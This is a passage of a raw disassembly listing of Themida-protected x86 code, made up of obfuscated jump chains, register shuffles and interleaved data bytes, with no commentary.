jmp loc_507B48 ; --------------------------------------------------------------------------- loc_508B7B: ; CODE XREF: Themida_:00511852j mov ecx, [esp] jmp loc_508FB3 ; --------------------------------------------------------------------------- loc_508B83: ; CODE XREF: Themida_:0050D6D9j push dword ptr [esp+4] push dword ptr [esp] pop ecx push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_509435 ; --------------------------------------------------------------------------- db 66h dd 50240C8Bh, 0FFA649E9h db 0FFh ; --------------------------------------------------------------------------- loc_508BA9: ; CODE XREF: Themida_:00505B61j mov [esp], edi push ebx push 4F9B6EF0h jmp loc_512B2D ; --------------------------------------------------------------------------- db 0BDh dd 4822459Dh, 5A5DEB29h, 6F5AE952h, 1C33FFFFh, 241C3124h dd 8463E9h, 24348900h, 4DB0E9h, 0EA814200h, 7D67151Ah dd 2214BE56h, 0C2817DBFh, 55936D84h, 0EA81F201h, 55936D84h dd 4EC815Eh, 89000000h, 37B82404h, 56429C7Dh, 0B86C6EBEh dd 7C68144h, 0E90C3BF4h, 106Ah, 42474FFh, 81241C8Bh, 4C4h dd 24048F00h, 0E924248Bh, 0FFFF6BEAh ; --------------------------------------------------------------------------- loc_508C2C: ; CODE XREF: Themida_:00514947j mov [esp], ebx mov ebx, 23AB2915h add esi, ebx pop ebx jmp loc_5104B1 ; --------------------------------------------------------------------------- dd 2669B850h, 67E919FFh, 8B000000h, 0C483240Ch, 76D66804h dd 4890000h, 4EC8124h, 89000000h, 5FE92424h, 29FFFFEBh dd 18C381EBh, 81555E6Dh, 97E1BC3h, 4DE9504Bh, 5D0000B6h dd 3304C783h, 3C31243Ch, 243C3324h, 3734E9h db 0 ; --------------------------------------------------------------------------- loc_508C89: ; CODE XREF: Themida_:00505106j sub edi, 7B3436Fh jmp loc_509A6B ; --------------------------------------------------------------------------- loc_508C94: ; CODE XREF: Themida_:00509D9Fj push dword ptr [esp] jmp loc_50F7BD ; --------------------------------------------------------------------------- dd 8059EF88h, 81B6D6F7h, 0BCC680h, 0A639E9FEh, 0D8F70000h dd 5AB8E9h, 2C48300h, 0E9EF8166h, 4EC8323h, 66240489h dd 6653F889h, 91E9C389h, 87000028h, 835C240Ch, 896602ECh dd 14F62414h, 0C05A6624h, 68E907E2h, 31000080h, 0BF575BD9h dd 0FFFFFFFFh, 1EADE981h, 0F9016547h, 1EADC181h, 3C8B6547h dd 4C48124h, 0C1000000h, 0EEE902E1h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508D0F: ; CODE XREF: Themida_:005105D5j pop eax jmp loc_50B699 ; --------------------------------------------------------------------------- loc_508D15: ; CODE XREF: Themida_:00512EC5j mov edi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_505C4C ; --------------------------------------------------------------------------- dd 5DA1EF81h, 335E4524h, 3C31243Ch, 243C3324h, 0E924248Bh dd 2A0h ; --------------------------------------------------------------------------- loc_508D40: ; CODE XREF: Themida_:004FFE26j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push 2071h mov [esp], edi push 40216454h jmp loc_512C64 ; --------------------------------------------------------------------------- db 5Dh dd 1EE81h, 0CE810000h, 8E35B78h, 4E4BF681h, 49E97D34h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508D77: ; CODE XREF: Themida_:0050D8E7j pop esp add esp, 4 push ebp push ebx jmp loc_5029BB ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8987E9h, 81F52900h, 4A5342EDh, 7EED8105h, 5E79F06Fh dd 8101C583h, 7F1486EDh, 0B8505740h, 711E5747h, 89C18951h dd 48B59CFh, 0E0895024h, 65FFE9h, 24248B00h, 4A30F66h dd 4BE99C24h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508DCB: ; CODE XREF: Themida_:005081B9j push eax mov eax, 7752506Eh sub eax, 2F2410CDh jmp loc_508112 ; --------------------------------------------------------------------------- loc_508DDB: ; CODE XREF: Themida_:00512F67j xor dword ptr [esp], 11DC6280h pop ebp xor ebp, 11DC6280h pop ebx and ecx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push 0D2Eh mov [esp], edx sub esp, 4 mov [esp], esp jmp loc_50EBCD ; --------------------------------------------------------------------------- loc_508E0B: ; CODE XREF: Themida_:00501166j add ebp, 0DBFFA90Bh add eax, 77C336CEh jmp loc_511902 ; --------------------------------------------------------------------------- db 0BDh dd 5E404E6h, 4EC81h, 34890000h, 3A5BE24h, 0F68141D4h, 44453426h dd 987BE9h db 0 ; --------------------------------------------------------------------------- loc_508E39: ; CODE XREF: Themida_:005085D9j or ebp, 553F2445h push edi jmp loc_5026A2 ; --------------------------------------------------------------------------- aZSvj db '<$Vj',0 dd 4D00000h, 28E8E99Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_508E56: ; CODE XREF: Themida_:00501F6Ej pop esi jmp loc_50EF37 ; --------------------------------------------------------------------------- dd 148BF528h, 4C48124h, 88000000h, 2434FFEBh, 0E3895359h dd 4C381h, 0C3810000h, 4, 5C241C87h, 668468h, 0AB40E900h dd 248B0000h, 0EC815124h, 4, 54242C89h, 0CEE9575Dh, 59000085h dd 704E181h, 81E91A4Ch db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_508EAB: ; CODE XREF: Themida_:00509810j mov [esp], eax mov eax, esp jmp loc_509EC7 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 4C2815Ch, 0E9000000h, 0FFFF6C92h ; --------------------------------------------------------------------------- loc_508EC4: ; CODE XREF: Themida_:00501A7Cj add ecx, 4 xchg ecx, [esp] jmp loc_501206 ; --------------------------------------------------------------------------- loc_508ECF: ; CODE XREF: Themida_:0050A294j push dword ptr [esp] pop edi add esp, 4 jmp loc_50F95A ; --------------------------------------------------------------------------- loc_508EDE: ; CODE XREF: Themida_:00512020j push 7149h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_50BADD ; --------------------------------------------------------------------------- dd 0DFE9F801h, 8100005Dh, 4C7h, 4EF8300h, 2474FF57h, 48F5F04h dd 0ABE95C24h, 0BB000067h, 228270FDh, 0FF8222E9h db 0FFh ; --------------------------------------------------------------------------- loc_508F25: ; CODE XREF: Themida_:0050ED73j push esi mov esi, 6D0D54E3h jmp loc_5001E0 ; --------------------------------------------------------------------------- loc_508F30: ; CODE XREF: Themida_:0050390Cj xor [esp], edx jmp loc_50EC3E ; --------------------------------------------------------------------------- loc_508F38: ; CODE XREF: Themida_:0050D91Bj and esi, 4F2B7680h dec esi xor esi, 263D0315h xor esi, 19533992h add edx, esi pop esi add edx, 5CC66A4h jmp loc_50A41C ; --------------------------------------------------------------------------- db 59h, 58h, 0E9h dd 0FFFFA9B1h, 361068h, 242C8900h, 0DA39B1BDh, 246C2919h dd 6C815D08h, 40EF0424h, 6C2910EAh, 0B8500424h, 10EA40EFh dd 8244401h, 24448158h, 0DA39B104h, 24448119h, 0B81B4404h dd 2434FF09h, 63CDE9h, 2C78300h, 5C243C87h, 805BDE88h dd 63E908EEh db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508FB3: ; CODE XREF: Themida_:00508B7Ej add esp, 4 jmp loc_4FFB8C ; --------------------------------------------------------------------------- db 87h dd 248B2414h, 79FC6824h, 14890000h, 55E28924h, 9D7F11BDh dd 0F5814D32h, 329D7F14h, 0E95DEA01h, 0FFFFC51Fh, 0F66F1F6h dd 6866CCB6h, 6EE93FA7h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_508FEF: ; CODE XREF: Themida_:0050196Dj push 2A29h mov [esp], edi mov edi, 691B0C60h not edi push ebp mov ebp, 96E4F39Bh jmp loc_51156F ; --------------------------------------------------------------------------- loc_509009: ; CODE XREF: Themida_:0050D36Ej sub esi, 1E3D0CCBh sub esi, ebp jmp loc_5045A4 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BD242C89h, 664C03AFh, 0DD30DC2Dh, 63D3053Dh, 0E801770Ah dd 0A63D32Dh, 30DC0577h, 0F7E93DDDh, 89FFFF89h, 69E9243Ch dd 0BF0000ACh, 35EE59D1h, 3C8BFD21h, 4C48324h, 249DED81h dd 44E9A162h, 890000A2h, 4C781E7h, 53000000h, 0FF9735E9h dd 2434FFFFh, 0FF2434FFh, 83582434h, 9E904C4h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_50907F: ; CODE XREF: Themida_:0051349Cj mov edi, 7F56727Dh mov edx, 80A98D84h jmp loc_510954 ; --------------------------------------------------------------------------- dw 3166h dd 14E958C2h, 29000059h, 8F2BE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50909E: ; CODE XREF: Themida_:005107E2j add ecx, 4A194461h sub ecx, ebx sub ecx, 4A194461h pop ebx push 14A0h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5028A7 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 56000000h, 4BEh, 5EF10100h, 207AE9h db 0 ; --------------------------------------------------------------------------- loc_5090E1: ; CODE XREF: Themida_:0050DCE1j add esp, 4 sub esp, 4 jmp loc_5141BA ; --------------------------------------------------------------------------- dd 111068h, 241C8900h, 1756C3BBh, 0ED30E918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5090FE: ; CODE XREF: Themida_:0050DA6Cj add ebx, esi jmp loc_4FFF3E ; --------------------------------------------------------------------------- loc_509105: ; CODE XREF: Themida_:00504B0Fj mov [esp], edx jmp loc_50D1E7 ; --------------------------------------------------------------------------- loc_50910D: ; CODE XREF: Themida_:005052FCj push 6F052933h mov ebx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5027C7 ; --------------------------------------------------------------------------- db 87h dd 895C2434h, 0B353240Ch, 0DC885008h, 0FFD68FE9h, 0DFBA52FFh dd 145FC6Ch, 0F5015AD5h, 6CDFED81h, 0EC8145FCh, 4, 0F29E9h dd 244E6800h, 5158291Ah, 0C33095B9h, 2EC1816Eh, 812EE525h dd 5B5762E9h, 0BDF1810Ch, 813BAE64h, 724694F1h, 4EF18122h dd 0E918E027h, 56ACh ; --------------------------------------------------------------------------- loc_509180: ; CODE XREF: Themida_:0050A69Bj pop edi xor ecx, edi xor edi, ecx jmp loc_50391C ; --------------------------------------------------------------------------- loc_50918A: ; CODE XREF: Themida_:0051193Bj add esp, 4 push esi mov esi, 0FFFFFFFFh jmp loc_508ACA ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 35A6804h, 34890000h, 327DBE24h, 0F6812183h dd 26ED4AA3h, 4431EE81h, 0DEF75FC5h, 0FFBAF7E9h, 0B05051FFh dd 6E8C0B0h, 0C588132Ch, 49206858h, 4890000h, 88EC8824h dd 0E95958E2h, 0FFFFE873h, 4B850h, 0C7290000h, 78E95758h dd 81FFFFABh, 4C2h, 4C28100h, 0E9000000h, 0FFFFAC83h, 348BF109h dd 8DB7E924h, 295BFFFFh, 0BCBB53CAh, 163CC45h, 0E9595BDAh dd 0FFFF65FAh, 9670E95Fh, 0C7830000h, 243C3304h, 0E9243C31h dd 0FFFF9715h, 4EC81h, 34890000h, 1B85024h, 25497C09h dd 3FE51A9Bh, 0B8750535h, 58C6890Ch, 10B568h, 0B37FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509256: ; CODE XREF: Themida_:00512B28j xor ecx, [esp] xor [esp], ecx jmp loc_504EA2 ; --------------------------------------------------------------------------- loc_509261: ; CODE XREF: Themida_:005107F8j mov [esp], edx push esp mov edx, [esp] add esp, 4 push eax mov eax, 4 add edx, 4F776A54h add edx, eax sub edx, 4F776A54h push dword ptr [esp] pop eax add esp, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_509D26 ; --------------------------------------------------------------------------- db 50h, 0B4h, 45h dd 0FFA5ADE9h, 9AE953FFh, 81FFFF9Bh, 847E50EEh, 7DF0E920h dd 0B951FFFFh, 1FA17A0Dh, 3D7EE181h, 1CE93E6Ch db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5092BF: ; CODE XREF: Themida_:005019F5j inc ebx jmp loc_50CAB9 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 42E95124h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5092CF: ; CODE XREF: Themida_:00512EDAj pop eax push edi push 724Bh mov [esp], esp add dword ptr [esp], 4 pop edi push 69A1h mov [esp], ebp push 38F322B4h jmp loc_512E2F ; --------------------------------------------------------------------------- dd 4C48158h, 0E9000000h, 0FFFF651Ah, 3F90C281h, 0DA013FFAh dd 6E36BB53h, 0C38126E6h, 1913D15Ah, 6481B951h, 0CA294D28h dd 0CBF5759h, 0C1074A0Bh, 8CE903E7h, 4000015h, 1B75359h dd 0E95BF800h, 0FFFFC8DBh ; --------------------------------------------------------------------------- loc_509334: ; CODE XREF: Themida_:0050FE8Aj sub esi, eax add esi, 16841765h pop eax jmp loc_504F06 ; --------------------------------------------------------------------------- dw 5966h dd 8904EC83h, 73B62414h, 0E6D0DEF6h, 0E950DEF6h, 0FFFFACD6h dd 0CE80DFB6h, 7FC68022h, 0C05AF700h, 0E7C003EFh, 0B5515008h dd 6742E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509372: ; CODE XREF: Themida_:00500DF5j mov ch, 78h and ch, 0F6h shr ch, 6 push edx mov dl, 0D0h dec dl jmp loc_50393F ; --------------------------------------------------------------------------- dd 75D10566h, 0BA665266h, 29662A9Dh, 665A66D0h, 4AE9D829h dd 57FFFF81h, 0FFEE98E9h, 0E08950FFh, 9EC68h, 24348900h dd 542E98BEh, 6CC6817Ah, 185ABD1h, 0BF575EF0h, 2, 999DE9h dd 0E9F02800h, 87A7h, 4EC81h, 4890000h, 0E9E08924h, 0FFFFCB6Ch ; --------------------------------------------------------------------------- loc_5093DC: ; CODE XREF: Themida_:0050612Ej sub ebp, esi sub ebp, 2B016EF5h push edi mov edi, 7BF72DFBh not edi or edi, 12122051h inc edi push ecx mov ecx, 0EB7ABAD9h xor edi, ecx jmp loc_514525 ; --------------------------------------------------------------------------- aIHO db ',$h(O',0 align 4 aTsyb db 'TYB',0 align 2 dw 94BBh dd 0C152406Ah, 814302E3h, 5F62CCE3h, 6B22E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509422: ; CODE XREF: Themida_:005085A1j mov ebx, esp jmp loc_507205 ; --------------------------------------------------------------------------- db 0FEh, 0C2h, 80h dd 0D30050F2h, 0FF9CBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_509435: ; CODE XREF: Themida_:00508B9Aj xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_4FF816 ; --------------------------------------------------------------------------- dd 24448166h, 0E97BD206h, 0FFFFA1E0h, 4268DA01h, 89000014h dd 6856240Ch, 3E670A61h, 31A2E9h, 0C2E95600h, 80FFFFB9h dd 89E9C1CEh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509477: ; CODE XREF: Themida_:00503E7Ej mov esp, [esp] rep movsd add esp, [edx+38h] push eax jmp loc_50352F ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFCB28E9h, 242489FFh, 4EC8151h, 89000000h, 7AE92434h dd 5F00006Bh, 4C91F681h, 0F5015E85h, 0B0E9E95Eh, 535FFFFFh dd 98E9E389h, 89000050h, 4BB241Ch, 1000000h, 8B04245Ch dd 0C481241Ch, 4, 4B8505Eh, 53000000h, 0DC4A7EBBh, 6E3C153h dd 0E3C1EBD1h, 0E9D3F705h, 8299h ; --------------------------------------------------------------------------- loc_5094E8: ; CODE XREF: Themida_:0051153Dj pop ebp inc ecx xor ecx, 2805770Fh add ebp, ecx pop ecx mov esi, ebp pop ebp sub dword ptr [esp+4], 47944873h jmp loc_502E05 ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 974BE24h, 28E97158h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509513: ; CODE XREF: Themida_:0050D061j sub edi, 1AC73EEh xor edi, 48C990CEh and ebx, edi pop edi xchg edi, ebx not edi xor ebx, edi xor edi, ebx xor ebx, edi dec ebx push edx mov edx, 113A3410h push ebp mov ebp, 0FFFFFFFFh jmp loc_507885 ; --------------------------------------------------------------------------- loc_50953E: ; CODE XREF: Themida_:00505374j push 3582h mov [esp], eax sub esp, 4 jmp loc_50837C ; --------------------------------------------------------------------------- loc_509551: ; CODE XREF: Themida_:005141C3j sub edi, 6C617032h add edi, ecx jmp loc_509C26 ; --------------------------------------------------------------------------- loc_50955E: ; CODE XREF: Themida_:00502739j add ebp, 0B1E3E69Bh add esi, ebp pop ebp pop edx push edx push 4 pop edx add esi, edx pop edx jmp loc_508582 ; --------------------------------------------------------------------------- db ']h',0Ah,0 dd 0CD89E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509582: ; CODE XREF: Themida_:0050DBB4j add edi, esi pop esi sub eax, edi pop edi push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, 4EA14CA5h push edx mov edx, 3C33350Fh xor edx, 738F6CF6h jmp loc_506AE7 ; --------------------------------------------------------------------------- loc_5095A9: ; CODE XREF: Themida_:005033F2j sub al, dl sub al, 31h pop edx jmp loc_500985 ; --------------------------------------------------------------------------- db 5Ch dd 0FF9E1DE9h, 4C483FFh, 3F1DF681h, 0CE814C47h, 1D773519h dd 0C049C681h, 0C181E000h, 677C27A2h, 3378C181h, 0F10130BFh dd 0FFAE2FE9h, 240481FFh, 4, 6043E95Dh, 2C330000h, 29B0E924h dd 835D0000h, 0D7E904C1h, 5F0000A7h, 7157C381h, 10E90DE8h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_50960B: ; CODE XREF: Themida_:0050BA8Fj push eax jmp loc_504DB6 ; --------------------------------------------------------------------------- db 55h, 81h, 2Ch dd 35068C24h, 0C1815948h, 4835068Ch, 7881E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_509626: ; CODE XREF: Themida_:00513EBEj inc edi sub edi, 0FFFFFFFFh push 2542h mov [esp], edx jmp loc_50B1A7 ; --------------------------------------------------------------------------- dw 0CC0Dh dd 0C16A0845h, 354804E8h, 5CDA05D3h, 0B6629E0Dh, 137F2D5Ch dd 0C12944E4h, 582434FFh, 4C481h, 0C8290000h, 0C7A3E959h dd 0D3B9FFFFh, 89280C44h, 0C78959C8h, 0BB5358h, 29000000h dd 5BDF89FBh, 501FCF81h, 90E95B06h, 0F700007Fh, 81D687D2h dd 0A0845AF6h, 0C4D7E9E2h, 0DAF7FFFFh, 6417E9h, 81FD2900h dd 0F91AE2EDh, 0E8C58157h, 5F057406h, 0FAF5814Dh, 140CE06h dd 68515DE8h, 7B59h, 0BB241C89h, 5D5380Ah, 242C8153h, 57C5303Bh dd 0FFA99BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5096D1: ; CODE XREF: Themida_:004FF988j sub edi, 804867BEh sub ebp, edi jmp loc_5071B0 ; --------------------------------------------------------------------------- loc_5096DE: ; CODE XREF: Themida_:005060DEj push esp jmp loc_510283 ; --------------------------------------------------------------------------- dd 48BC788h, 6DB3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5096EE: ; CODE XREF: Themida_:0050D811j push 6F61h mov [esp], eax push edx push ebp push edx jmp loc_50BA62 ; --------------------------------------------------------------------------- loc_5096FE: ; CODE XREF: Themida_:0051343Fj push ebp pop edx pop ebp jmp loc_50DDA8 ; --------------------------------------------------------------------------- dw 0B652h dd 5AF488B8h, 3D39E9h db 0 ; --------------------------------------------------------------------------- loc_509711: ; CODE XREF: Themida_:004FF8BEj push ebx mov bl, 2Eh mov dh, 83h add dh, bl pop ebx sub ah, dh pop edx push ecx mov ch, ah mov bl, ch pop ecx push dword ptr [esp] pop eax add esp, 4 mov cl, 0E3h push ebx mov bl, 17h add cl, bl jmp loc_511E86 ; --------------------------------------------------------------------------- loc_509735: ; CODE XREF: Themida_:00507624j mov [esp], esp add dword ptr [esp], 4 jmp loc_511B30 ; --------------------------------------------------------------------------- db 25h, 0B1h, 10h dd 0D0F75C65h, 6770162Dh, 0A9054017h, 8923CB80h, 0EA8158C7h dd 1BC3003Eh, 4ED3C281h, 59E905A8h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509767: ; CODE XREF: Themida_:0050B4F6j mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_501513 ; --------------------------------------------------------------------------- dd 8704C183h, 555C240Ch, 4BDh, 5DEF0100h, 3304C783h, 3C31243Ch dd 243C3324h, 4A30F5Ch, 73E99C24h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5097A3: ; CODE XREF: Themida_:0050428Fj add esp, 4 xchg ebx, [esp] pop esp mov [esp], edi push ebx push 3B8F1AA1h mov ebx, [esp] add esp, 4 jmp loc_504514 ; --------------------------------------------------------------------------- loc_5097C1: ; CODE XREF: Themida_:0050EB31j mov ecx, [esp] jmp loc_512596 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFCA6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5097D1: ; CODE XREF: Themida_:004FFF3Fj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_50392F ; --------------------------------------------------------------------------- dd 5E2DC829h, 2D011548h, 533E1AB4h, 0A183E959h, 0E952FFFFh dd 0FFFF6655h, 5F26B9BAh, 4BC28123h, 1DCA0D9h, 24F4E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50980A: ; CODE XREF: Themida_:00513980j sub esp, 4 jmp loc_508EAB ; --------------------------------------------------------------------------- db 53h, 68h, 0BFh dd 5B593B5Bh, 1B55BF57h, 0FB31525Dh, 43BD555Fh, 0C1366123h dd 0AE903EDh, 66000064h, 0E924048Bh, 172h ; --------------------------------------------------------------------------- loc_50983C: ; CODE XREF: Themida_:0050C038j push ecx push ebp mov ebp, 319F40CDh push esi mov esi, 7056F0Ah sub esi, 17AB0A06h jmp loc_50B057 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 8DF9E900h, 0C1800000h, 2EE18046h, 66DF68h dd 24048900h, 4EC81h, 14890000h, 0A6A0E924h, 1C31FFFFh dd 241C3324h, 0E924248Bh, 4913h, 50C8BF0Fh, 4055854h, 51000000h dd 8904EC83h, 0E7E9242Ch db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5098A3: ; CODE XREF: Themida_:0050A617j pop ebp push 5952h mov [esp], eax mov eax, 4 jmp loc_50FE81 ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFFB49Eh, 568EED81h, 0F5814440h, 0A70FFAA5h dd 0FFFD40E9h, 574E59FFh, 181EE9h, 81E18900h, 4C1h, 4BA5200h dd 0E9000000h, 4B73h, 86240C86h, 86D7F6F9h, 240C86F9h dd 0FF72E4E9h, 24048BFFh, 52E08950h, 9A071DBAh, 1778E966h dd 68570000h, 194Bh, 0E9240489h, 0FFFF7298h, 4ADAF75Fh dd 6BC28142h, 81314274h, 0D9652AC2h, 5AD0291Dh, 216268h dd 24148900h, 90104EBAh, 0C9BF5717h, 0E9369116h, 0FFFFBB04h dd 282206BBh, 5247687Fh, 5CE90000h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509957: ; CODE XREF: Themida_:00500323j mov ecx, ebx push ecx add dword ptr [esp], 69787EECh mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_50E098 ; --------------------------------------------------------------------------- loc_509975: ; CODE XREF: Themida_:0050D274j shl eax, 1 push 153Eh mov [esp], ebx mov ebx, 637F0A6Eh jmp loc_50DFB4 ; --------------------------------------------------------------------------- loc_509989: ; CODE XREF: Themida_:0051446Ej xor ebp, 0D352B01h mov ebx, ebp mov ebp, [esp] jmp loc_5089DE ; --------------------------------------------------------------------------- db 58h, 0, 0F0h dd 0A975E9h, 24148700h, 240CFF5Ch, 0EA26E99Ch, 2168FFFFh dd 8900003Fh, 0EC83242Ch, 48F5404h, 68505224h, 656B063Bh dd 0ABE94858h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5099CB: ; CODE XREF: Themida_:00509CDEj pop esi add eax, edi push ebx mov ebx, 0 add ebx, eax jmp loc_50BDCB ; --------------------------------------------------------------------------- loc_5099DB: ; CODE XREF: Themida_:0050B99Fj sub ebx, 598D1229h pop ecx push edx push 24h mov [esp], edi mov edi, 4 mov edx, edi pop edi add ebx, edx pop edx sub esp, 4 mov [esp], ebx jmp loc_50E685 ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 8 dd 29E9E7D1h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509A0B: ; CODE XREF: Themida_:005123F1j xor edi, ebx pop ebx jmp loc_50D99C ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 242C8900h, 9B55E9h db 0 ; --------------------------------------------------------------------------- loc_509A25: ; CODE XREF: Themida_:00514333j push ebp push esp jmp loc_500EED ; --------------------------------------------------------------------------- dd 68535F54h, 4, 5BDF015Bh, 4C781h, 3C870000h, 5823E924h dd 68510000h, 0F553795h, 0FF735EE9h db 0FFh ; --------------------------------------------------------------------------- loc_509A51: ; CODE XREF: Themida_:0050F94Aj pop edx pop edx jmp loc_50D066 ; --------------------------------------------------------------------------- loc_509A58: ; CODE XREF: Themida_:004FFF39j push 2090h mov [esp], eax xor [esp], eax xor eax, [esp] jmp loc_50D8BC ; --------------------------------------------------------------------------- loc_509A6B: ; CODE XREF: Themida_:00508C8Fj add edi, 0FFFFFFFFh xor edi, 191609EBh xor edi, 17956D68h sub esp, 4 mov [esp], ebp push ecx mov ecx, 21641B99h shr ecx, 8 push esi mov esi, 39502956h inc esi dec esi xor esi, 0F9385168h add ecx, esi jmp loc_50238C ; --------------------------------------------------------------------------- dd 0F281DAF7h, 298D7E21h, 69E9D601h, 80FFFFD7h, 0D6F66AEEh dd 5108EEC0h, 0C9FEF188h, 88CC8850h, 0E95958E6h, 0FFFF8894h ; --------------------------------------------------------------------------- loc_509ACC: ; CODE XREF: Themida_:00507F8Fj pop esp jmp loc_50EEAE ; --------------------------------------------------------------------------- dw 0EE88h dd 0E2F68059h, 489DE9h, 4EC8100h, 89000000h, 3FBD242Ch dd 0E97B0042h, 8E0Fh, 9342E95Dh, 4890000h, 0B0BB5324h dd 0B813BD2Eh, 9272876Ah, 9E9D829h, 8F00000Ch, 248B2404h dd 0D1EDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509B16: ; CODE XREF: Themida_:0050F024j add esp, 4 xor bl, al movzx eax, al jmp loc_50C369 ; --------------------------------------------------------------------------- dw 0FBB9h dd 8952FC50h, 240C8BCBh, 0C104C483h, 0E95504E3h, 6ED6h dd 58E9D029h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509B43: ; CODE XREF: Themida_:0050C687j sub ebx, 6BF21D12h shl ebx, 7 push 2B50h mov [esp], eax mov eax, 7F916617h sub eax, 667E7216h or eax, 18A75E0Bh add eax, 631F43ECh xchg eax, edi jmp loc_5010FB ; --------------------------------------------------------------------------- loc_509B6E: ; CODE XREF: Themida_:0050CA7Aj mov esi, [esp] jmp loc_50E6B9 ; --------------------------------------------------------------------------- a_ps db '_P{,',0 dd 0F7D9F700h, 0D4E941D9h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509B87: ; CODE XREF: Themida_:0050CF25j push ebx push 59952194h mov ebx, [esp] add esp, 4 jmp loc_50D2C3 ; --------------------------------------------------------------------------- loc_509B98: ; CODE XREF: Themida_:00500D74j sub edi, 5FCB39Ch jmp loc_50F1CC ; --------------------------------------------------------------------------- db 52h dd 7044EABAh, 6C45E91Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509BAE: ; CODE XREF: Themida_:0050C1F7j pop ebp sub dword ptr [esp+4], 49082E04h add [esp+4], edi add dword ptr [esp+4], 49082E04h mov edi, [esp] add esp, 4 mov edx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi mov edi, 3A2078AFh neg edi add edi, 50E19112h add edx, 4B1F49C0h sub edx, edi sub edx, 4B1F49C0h pop edi push 529Fh mov [esp], ebx push 4F70h mov [esp], edi mov edi, edx mov ebx, edi pop edi mov eax, ebx jmp loc_51196F ; --------------------------------------------------------------------------- dd 1381F681h, 0E6C14CDCh, 9D78E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_509C26: ; CODE XREF: Themida_:00509559j add edi, 6C617032h add edi, 567008BEh push esi mov esi, 54885C5Ah dec esi sub esi, 29182ED3h add edi, 1E9D7701h sub edi, esi push ebx mov ebx, 1E9D7701h sub edi, ebx pop ebx pop esi push ecx mov ecx, 61CC1F0Ah push esi mov esi, 20D42C1Bh and ecx, esi pop esi push edi jmp loc_4FFB1A ; --------------------------------------------------------------------------- dw 0F681h dd 8D9FE8A4h, 0E95EF201h, 0FFFFFF2Fh ; --------------------------------------------------------------------------- loc_509C74: ; CODE XREF: Themida_:005105C1j mov esi, 4 jmp loc_5014B9 ; --------------------------------------------------------------------------- dw 0F031h dd 0E9C2015Eh, 0FFFF85A1h, 79A9E957h, 0C4830000h, 81FB0104h dd 927104EBh, 2434FF0Fh, 0E689565Fh, 4C681h, 0C6830000h dd 74FF5604h, 8F5E0424h, 0E95C2404h, 0FFFF836Fh, 0C7080E04h dd 26B15158h, 8084C180h, 0CF30F0C1h, 0E902B559h, 3323h dd 8C7C2068h, 0F3E95A10h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_509CDB: ; CODE XREF: Themida_:0050BAEAj 